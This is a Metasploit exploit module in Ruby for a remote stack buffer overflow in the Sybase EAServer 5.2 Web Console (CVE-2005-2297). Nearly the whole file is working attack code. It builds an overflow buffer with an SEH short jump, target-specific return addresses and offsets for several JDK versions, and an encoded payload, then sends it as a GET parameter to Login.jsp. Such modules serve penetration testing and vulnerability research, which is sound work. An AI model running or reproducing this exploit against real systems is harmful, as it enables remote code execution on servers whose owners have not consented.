Brent Cook
87 lines
2.7 KiB
Ruby
87 lines
2.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Sybase EAServer 5.2 Remote Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the Sybase EAServer Web
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Console. The offset to the SEH frame appears to change depending
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on what version of Java is in use by the remote server, making this
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exploit somewhat unreliable.
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},
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'Author' => [ 'Unknown' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-2297' ],
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[ 'OSVDB', '17996' ],
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[ 'BID', '14287'],
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],
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'Privileged' => false,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Technically we could combine these into a single multi-return string...
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['Windows All - Sybase EAServer 5.2 - jdk 1.3.1_11', {'Ret' => 0x6d4548ff, 'Offset' => 3820}],
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['Windows All - Sybase EAServer 5.2 - jdk 1.3.?.?', {'Ret' => 0x6d4548ff, 'Offset' => 3841}],
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['Windows All - Sybase EAServer 5.2 - jdk 1.4.2_06', {'Ret' => 0x08041b25, 'Offset' => 3912}],
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['Windows All - Sybase EAServer 5.2 - jdk 1.4.1_02', {'Ret' => 0x08041b25, 'Offset' => 3925}],
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],
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'DisclosureDate' => 'Jul 25 2005'))
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register_options(
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[
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OptString.new('DIR', [ true, "Directory of Login.jsp script", '/WebConsole/' ]),
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Opt::RPORT(8080)
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], self.class)
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end
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def exploit
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print_status( "Attempting to exploit...")
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# Building the evil buffer
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crash = rand_text_alphanumeric(5000, payload_badchars)
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crash[ target['Offset'] - 4, 2 ] = "\xeb\x06"
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crash[ target['Offset'] , 4 ] = [target.ret].pack('V')
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crash[ target['Offset'] + 4, payload.encoded.length ] = payload.encoded
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# Sending the request
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res = send_request_cgi({
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'uri' => normalize_uri(datastore['DIR'], 'Login.jsp'),
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'method' => 'GET',
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'encode_params' => false,
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'headers' => {
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'Accept' => '*/*',
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},
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'vars_get' => {
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crash => nil
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}
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}, 5)
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print_status("Overflow request sent, sleeping for four seconds")
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select(nil,nil,nil,4)
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end
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end
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